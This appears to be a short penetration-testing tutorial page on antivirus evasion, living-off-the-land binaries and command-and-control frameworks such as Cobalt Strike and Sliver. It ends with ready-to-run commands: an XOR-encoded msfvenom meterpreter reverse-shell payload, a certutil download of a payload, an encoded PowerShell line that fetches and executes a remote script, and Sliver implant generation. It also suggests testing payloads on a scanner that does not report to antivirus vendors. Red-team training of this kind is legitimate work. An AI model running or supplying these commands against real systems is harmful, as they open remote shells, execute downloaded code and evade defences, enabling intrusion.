Web Application Penetration Testing

Antivirus Evasion Techniques

Signature-based AV detects known malware patterns. Bypass techniques: encoding payloads (base64, XOR), using memory-only execution (fileless), obfuscating source code, and using legitimate system binaries (LOLBins). Tools like Veil-Framework, Shellter, and custom Python scripts generate AV-evading payloads. Always test against multiple AV engines.

Living Off the Land (LOLBins)

LOLBins are legitimate Windows/Linux binaries that can be abused for attacker purposes: certutil.exe downloads files, mshta.exe executes scripts, regsvr32.exe loads remote DLLs, rundll32.exe runs arbitrary code. LOLBAS (Windows) and GTFOBins (Linux) catalog all known techniques. EDR solutions now monitor these, but they remain effective against legacy defenses.

C2 Frameworks: Cobalt Strike and Alternatives

Command and Control (C2) frameworks manage post-exploitation sessions across many compromised hosts. Cobalt Strike is the enterprise standard (red teams). Open-source alternatives: Sliver, Havoc, and Covenant. C2 frameworks provide persistence, lateral movement, and exfiltration features unavailable in basic Metasploit sessions.

# Encode a payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=443 \
  -e x64/xor_dynamic -i 10 \
  -f exe -o payload_encoded.exe

# Test detection rate (upload to antiscan.me - no AV reporting)
# Windows LOLBin: certutil download
# certutil.exe -urlcache -f http://192.168.1.50/payload.exe payload.exe

# PowerShell encoded command
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.50/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# Sliver C2 server setup
sliver-server
sliver> generate --mtls 192.168.1.50 --os windows --arch amd64 --save implant.exe